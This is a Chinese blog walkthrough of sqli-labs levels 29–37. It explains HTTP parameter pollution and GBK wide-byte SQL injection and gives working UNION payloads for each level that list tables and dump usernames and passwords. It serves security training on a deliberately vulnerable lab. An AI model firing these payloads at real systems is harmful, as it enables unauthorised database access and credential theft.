《SQLi-Labs》05. Less 29~37

从启明星辰面经反思到 SQL 注入黑名单绕过实战:sqli-labs 严苛正则过滤、括号闭合转折与全维度绕过技术深度复盘 本文围绕一份典型渗透测试岗位面试实录展开技术反思,剖析了传统黑名单绕过话术与现代化防御之间的认知断层。随后以 sqli-labs 第 25、26 及 2 关为实验靶场,深度复盘了面对 `OR/AND` 过滤、空白字符及注释全拦截等极限环境下的排查路径,详细记录了利用双写重组、URL 隐式空白失效分析、MySQL 命令行底层排错以及最终将逻辑闭合嵌入字段表达式的转折突破全过程。最后系统梳理了空格、引号、逗号、比较符与盲注优化的实战替代方案,为安全研究与攻防技术复盘提供严谨的工程实践参考。 阅读详情

title: 《SQLi-Labs》05. Less 29~37
date: 2024-01-17 22:49:10
updated: 2024-02-12 18:09:10
categories: WriteUp:Security-Lab
excerpt: HTTP 参数污染,联合注入、宽字节注入。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png



靶场部署在 VMware - Win7。

靶场地址:https://github.com/Audi-1/sqli-labs

索引

  • Less-29:HTTP 参数污染。联合注入,字符型【'】。
  • Less-30:与 Less-29 相似。字符型【"】。
  • Less-31:与 Less-29 相似。字符型【")】。
  • Less-32:宽字节注入。联合注入,字符型【'】。
  • Less-33:与 Less-32 一样。
  • Less-34:原理与 Less-32 一样。post 形式,字符型【'】。
  • Less-35:原理与 Less-32 一样。数字型。
  • Less-36:与 Less-32 一样。
  • Less-37:与 Less-34 一样。

Less-29

在这里插入图片描述

题解

说有最好的防火墙。源码是判断传递的数据是否是数字。

这一题主要考察的是多个相同参数的解析问题。

例如 index.php?id=1&id=2,到底是解析 id=1 的数据还是解析 id=2 的?

这一关原本的思路是:

Less-29 就是会对输入的参数进行校验是否为数字,但是只提取第一个 id 值进行校验。
如果传递两个 id 参数,第一个 id 参数正常数字,第二个 id 参数进行 sql 注入即可。
其实第29关是用 jsp 搭建的服务器,所以建议在电脑中安装 Jspstudy 来安装 Jsp 的环境。
构造两个 id 参数,index.php?id=1&id=2,Apache PHP 会解析最后一个参数,Tomcat JSP 会解析第一个参数

明白了原理,直接上 payload。

爆表:

?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段:

?id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

爆敏感数据:

?id=1&id=-1' union select 1,group_concat(password,username),3 from users--+

总结

多个相同参数解析漏洞(HPP,HTTP 参数污染)。

《HTTP 参数污染(HPP)》
https://zhuanlan.zhihu.com/p/635422411

Less-30

题解

原理与 Less-29 一样。字符型【"】

?id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段:

?id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

爆敏感数据:

?id=1&id=-1" union select 1,group_concat(password,username),3 from users--+

Less-31

题解

原理与 Less-29 一样。字符型【")】

?id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段:

?id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

爆敏感数据:

?id=1&id=-1") union select 1,group_concat(password,username),3 from users--+

Less-32

题解

这题考察宽字节注入。

遇事不决看源码。

在这里插入图片描述

Less-32 使用 preg_replace() 函数将反斜杠【\】,单引号【'】、双引号【"】过滤了。如果输入 id=1" 会转义成 id=1\",使引号当作数据处理。

但是数据库使用了 gbk 编码。所以可以采用宽字节注入。同时可以对数据库表名进行 16 进制 ASCII 编码。

当某字符的大小为一个字节时,称其字符为窄字节。当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

先上 payload。

爆库名:

?id=-1%df' union select 1,database(),3 --+

MySQL 在使用 GBK 编码的时候,mysql 数据库会将 ASCII 大于等于128(%df)的字符当作是汉字字符的一部分(当作汉字处理),同时会认为两个字节为一个汉字,例如 %aa%5c 就是一个 汉字。

因为 urlencode(\') = %5c%27,如果在 %5c%27 前面添加 %df,形成 %df%5c%27,MySQL 就把 %df%5c 当做是一个汉字解析,%27(单引号【'】)则作为一个单独的符号。

爆表:

?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段:

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

对于宽字节注入,另一个影响在于爆字段时表名需要加引号,引号会被转义;但如果利用宽字节转义,会影响 payload 中的表名。

MySQL 支持十六进制表示法,可以使用 0x 前缀来表示十六进制数值。
例如:
where table_name='users' 等同于:
where table_name=0x7573657273

爆敏感数据:

?id=-1%df' union select 1,group_concat(password,username),3 from users--+

在这里插入图片描述

总结

宽字节注入。

  • 常见的宽字节编码:
    • GB2312
    • GBK
    • GB18030
    • BIG5
  • MySQL 在使用 GBK 编码的时候,数据库会将 ASCII 大于等于 128(%df)的字符当作是汉字字符的一部分,即当作汉字处理,会认为两个字节为一个汉字,例如 %aa%5c 就是一个汉字。
  • 这种情况下如果想去掉 sql 语句中的一个字节,那么在想去的字节前加上一个 ASCII 大于等于 128(%df)的字节即可。加上的字节和想去掉的那个字节会被合起来解析为汉字(无论有没有对应的汉字)。
  • 例如 urlencode(\') = %5c%27,如果在 %5c%27 前面添加 %df,形成 %df%5c%27,MySQL 就把 %df%5c 当做是一个汉字解析,%27(单引号【'】)则作为一个单独的符号。

MySQL 特性:支持十六进制表示法。

  • MySQL 支持十六进制表示法,可以使用 0x 前缀来表示十六进制数值。
  • 例如:
  • WHERE table_name='users' 等同于 WHERE table_name=0x7573657273
  • WHERE column_name='Bob' 等同于 WHERE column_name=0x426f62

Less-33

题解

Less-33 使用 addslashes() 函数,作用是返回在预定义字符之前添加反斜杠的字符串。

payload 和 Less-32 一样。

Less-34

题解

原理与 Less-32 一样。只不过是 post 形式的宽字节注入。

payload:

爆表:

-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆字段:

-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273-- a

爆敏感数据:

1%df' union select 1,group_concat(password,1,username) from users -- a

在这里插入图片描述

Less-35

题解

原理与 Less-32 一样,宽字节注入。不过是数字型。

爆表:

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段:

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

爆敏感数据:

?id=-1 union select 1,group_concat(password,username),3 from users--+

Less-36

题解

payload 同 Less-32。

原理与 Less-32 一样,宽字节注入。只不过使用 mysql_real_escape_string 函数对特殊字符进行转义,作用与 Less-33 的 addslashes() 函数一样。

Less-37

题解

payload 与 Less-34 一样。原理同 Less-32,post 形式的宽字节注入。


松树千年终是朽,槿花一日自为荣。

——《放言五首 · 其五》(唐)白居易

相关推荐

大模型备案避坑指南:如何设计符合TC260标准的评估测试题集?

本文深入探讨了如何设计符合TC260标准的大模型评估测试题集,以顺利通过备案。文章从解构标准核心逻辑出发,详细阐述了题集设计的工程化流程、核心原则与常见误区,并提供了模拟真实对抗的高阶测试策略与度量分析方法,旨在帮助企业构建一套能真实反映模型安全水位、有效规避风险的评估体系。

kafka6courier的博客 662

Sqli-labs之Less-29和Less-30和Less-31

Less-29 基于错误_GET_双服务器_单引号_字符型注入 服务器(两层)架构 注:截图等来自《MySQL注入天书:Less 29》 服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 we...

→_→ 1371

DAGGER vs 传统模仿学习:为什么数据聚合能提升模型性能?

本文深入对比了DAGGER与传统模仿学习,揭示了传统方法因“分布不匹配”导致性能下降的根源。DAGGER通过动态的**数据聚合**机制,在智能体自身策略产生的状态分布上收集专家数据,从根本上解决了误差累积问题,从而显著提升了模型在实际部署中的鲁棒性和性能。

weixin_29170327的博客 234

sqli-labs (less-29)

sqli-labs (less-29) 进入29关,输入ID=1 输入 http://127.0.0.1/sql1/Less-29/?id=1' #回显错误 根据错误显示,判断闭合方式为’–+,但是这里不就跟less-1一模一样了吗,我们打开less-29的源文件看看,发现不只一个页面 我们输入 http://127.0.0.1/sql1/Less-29/login.php?id=1 输入 http://127.0.0.1/sql1/Less-29/login.php?id=1' 这里意思为

kukudeshuo的博客 1017

NET 实战:30 天搞定企业级 Web 订餐系统(附完整源码 + 数据库设计)

订餐流程:浏览菜品 → 选择菜品及数量 → 填写送餐地址 → 提交订单 → 数据库记录核心代码(绑定菜品列表):vb' 绑定菜单表到DataGrid控件,展示菜品信息user id=sa;' 查询菜品名称、价格、口味Dim adpt1 As New SqlDataAdapter("select cdishid,vdishname 菜品名称,cdishrate 价格,vdishdescription 口味 from dish", conn)End Sub用户体验优化。

m0_67740236的博客 1517

ethercat linux lan9252 - lan9253调试

linux 的ethercat测试

linsheng_111的专栏 1934

Sqllibs-less32-37-宽字节

32.less32-Bypass addslashes() 32.1、注入分析-过滤斜杠、单引号、双引号 function check_addslashes($string) { /*preg_quote():执行一个正则表达式的搜索和替换 preg_quote():转义正则表达式字符*/ /*转义任何斜杠*/ $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any b

Xor0ne 612

Vue - 简约大气 404 页面

效果图 实现代码 复制即可。 <template> <div> <div class="error"> <!-- 图片可保存到本地 --> <img src="https://img-blog.csdnimg.cn/20210715111039922.png"> <p>抱歉!你访问的页面不存在或已删除 :( </p> <span class="back" @click="go(

🏆 前端领域优质创作者 3370

SQLi LABS Less-29 联合注入

salilabs29,SQLi-LABS第29关使用GET请求提交参数,在url中构造payload即可

wangyuxiang946的博客 1万+

菱Q系列串行通信模块QJ71C24N:概述与特点

该模块支持多种串行通信协议,包括RS-232、RS-422和RS-485等,并提供了可靠的数据传输和高效的通信性能。菱Q系列串行通信模块QJ71C24N是一款功能强大的模块,具有多种通信协议支持、高速数据传输、多点通信能力和简化配置与使用等特点。简化配置和使用:QJ71C24N模块具有简单易用的配置工具和用户界面,使得用户能够快速进行模块的设置和调整。高速数据传输:QJ71C24N模块提供了高速的数据传输能力,可实现快速的数据交换和通信。本文将介绍QJ71C24N模块的概述和特点,并提供相应的源代码示例。

IunScala的博客 1931

Java代码实现opc ua 事件订阅和数据变化订阅

OPC UA (Open Platform Communications Unified Architecture) 提供了两种主要的订阅机制:数据变化订阅(Data Change Subscription)和事件订阅(Event Subscription)。这两种订阅机制允许客户端实时接收来自服务器的数据更新或事件通知。

洛阳泰山的博客 2367

SQL注入 Less29(参数污染绕过WAF)

java_implimentation函数,是想要模拟HTTP参数污染中的另一个中间件的不同解析结果(因为我们当前的真实环境是只有Apache,Apache的参数污染时候解析为last),该函数模拟成解析为first。一共有三个文件login.php、hacked.php、index.php。要求我们的id必须要是数字,否则就跳转到hacked.php界面。首先我们分析whitelist函数。然后进行常规的UNION注入即可。是我们GET传参的所有参数。就饶过了这个WAF了。...

开心星人的博客 1292

SAP-ABAP:接口多继承与复合接口设计:复杂业务场景下的能力组合实现方案

本文介绍了ABAP中通过接口多继承与复合接口设计实现能力组合的方案。文章首先辨析了类实现多个接口与接口继承接口的核心概念,指出ABAP虽不支持类多继承,但可通过这两种机制灵活组合能力。随后详细讲解了类实现多个接口的语法规则与三种调用方式,并给出了五个基础能力接口的设计示例(日志记录、权限校验、数据导出、消息通知、格式转换)。作者通过对比单继承与接口多重实现的差异,强调后者在解耦和扩展性上的优势,为复杂业务场景下的能力组合提供了实用解决方案。

baidu_35680696的博客 246

SQL 注入:Sqli-labs (1-65通关)、sqlmap、注入常用函数

SQL 注入:Sqli-labs (1-65通关)、sqlmap、注入常用函数

freeking101的博客 7609

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

Sqli-labs 通关中...

目前 Less-49

weixin_46099552的博客 961

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

Sqli-labs 博客目录

本文记录 SQL 注入的学习过程,资料为 SQLi

kevinhanser 1986

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

渗透测试靶场通关指南:从DVWA到Hack The Box,实战路线一图看懂!

📌写在前面“靶场到底该按什么顺序刷?”“DVWA通了之后下一步练什么?”“HTB做不出来怎么办?这些问题我被问过无数次了。说实话,靶场练习是网络安全学习中最重要的环节,没有之一。你看再多视频、读再多书,不如自己做一台靶机来得实在。但很多新手的问题不是不练,而是不知道练什么、按什么顺序练。我把自己从入门到现在的靶场通关经验全部整理出来,按难度从低到高排成一条完整路线。跟着这条线走,你的实战能力会稳步提升,不会出现"卡在某个难度上不去"的情况。

xlb8888888的博客 181

sqlmap刷sqllibs_05-宽字节注入-32-37

本篇文章中的一些过滤讲解大部分来自于我的另外一篇博客,如果不太清楚,可以移步: Sqllibs-less32-37-宽字节 32、Bypass addslashes() 可以知道在这里过滤了斜杠、单引号、双引号,即会在符号前加上斜杠进行过滤。而由下图可以知道闭合方式为单引号,因此我们需要对这个进行绕过。 在此我们利用在单引号前加上%df,而由于转义会在单引号前面加上一个单引号,在犹豫设置了gbk编码,因此%df与斜杠(%5c)会被当做一个中文字符,这样的话,就类似于斜杠被吃掉了。 手工注入语句如下所示:

Xor0ne 435

less-29到32的搭建方法(kali虚拟机搭建-超小白)

3.现在将sqli-labs里面的tomcat-files.zip复制到/var/lib/apache-tomcat-9.0.31/webapps/ROOT/,再把它解压了unzip tomcat-files.zip,最后如下图(如果未出现sqli-labs则先执行一遍5和6步骤)我们只需要里面的mysql-connector-java-5.1.37-bin.jar,将它到/usr/share/jdk1.8.0_131/jre/lib/ext/里面。6.再来启动apache-tomcat-9.0.31。

weixin_50319977的博客 348

Sqli-labs靶场详细攻略Less 29-33

这一关在web应用前有一个waf,在关卡列表界面直接点开是没有的,要在地址栏输入才是有waf保护的界面其实这里并不是真正的硬件waf,只是有两个函数模拟了waf的功能和收到参数的反应。sqlilabs靶场也提供了能够部署真正硬件waf的代码,不过随着时代的发展,waf也在变化,专门配置这样一个waf也没太有必要,直接使用这个模拟题目的就好了。这一关在正常配置waf的情况下,的结构图如下所示客户端在访问服务器端时,需要先经过一个tomcat服务器,这个tomcat服务器中部署的过滤代码充当了waf。

qq_41755084的博客 1867

sqli-labs————Less-29

Less-29从题目中可以了解到这个使用了WAF机制,那么我们可以看看该源文件内容:&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; &lt;html xmlns="http://www.w3....

Fly_鹏程万里 997

SQLi-LABS Less-29到Less-31

Less-29题目 Less-29的题目提到了WAF,看题目的意思应该是一个保护网站的东西 百度了一下 WAF就是Web Application Firewall,主要功能是拦截入侵尝试,比如SQL Injection, XSS, 路径遍历, 窃取敏感数据,CC攻击等。 就是说这个东西应该会拦截我们的SQL注入 开始尝试注入,发现一切太过简单… 百度过别人的做法之后,才知道这是双服务器,真正打开这题需要搭建jspstudy…但是比较麻烦… 也有简单的,正如其他博客写的一样,直接跳转到真正的注入页面…

m0_64898960的博客 219

Sqli-labs Less29-31 过 waf

本文记录 SQL 注入的学习过程,资料为 SQLi SQLi 博客目录 Less29 - GET - Error based - IMPIDENCE MISMATCH - Having a WAF in front of web application 首先先看下 tomcat 中的index.jsp 文件 源代码 String rex = "^\\d+$"; #...

kevinhanser 865

sqli-labs:less-29(双服务器单引号字符型注入)

关于搭建双服务器这件事,就先鸽了。 看别人的wp做个记录吧。 注:截图等来自《MySQL注入天书:Less 29》 服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。 工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。 接下来是参数解析的问题。问:index.php...

羽的博客 219

Sqlilabs Less 29-31 Protection with WAF

这几关都是过waf的,其实是前面加了个tomcat的站点,做了些过滤,但是实际是玩的还是apache里面的源码,结构也挺简单,就是前端JSP,过滤后跳转到后端的apache处理结果。tomcat的安装方法和这几关的用法在环境搭建里面有说明。 Less-29 Protection with WAF 手工注入 试了下,不管是啥都报错。。。还是直接看源码去了。 看源码的时候有个问题有点搞不懂。。。过滤传...

baynk的博客 649

Sqllibs-less29-31-WAF

文章目录29.less29-Protection with WAF30.less30-Protection with WAF-Double Quotes31.less31-FUN with WAF 本文主要来自于:https://www.cnblogs.com/lcamry/category/846064.html 29.less29-Protection with WAF 参考链接:https://www.cnblogs.com/lcamry/p/5762952.html 首先先看下tomcat中的ind

Xor0ne 336
上一篇: 《Kali渗透基础》16. 密码攻击
下一篇: 《VulnStack》ATT&CK-1
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值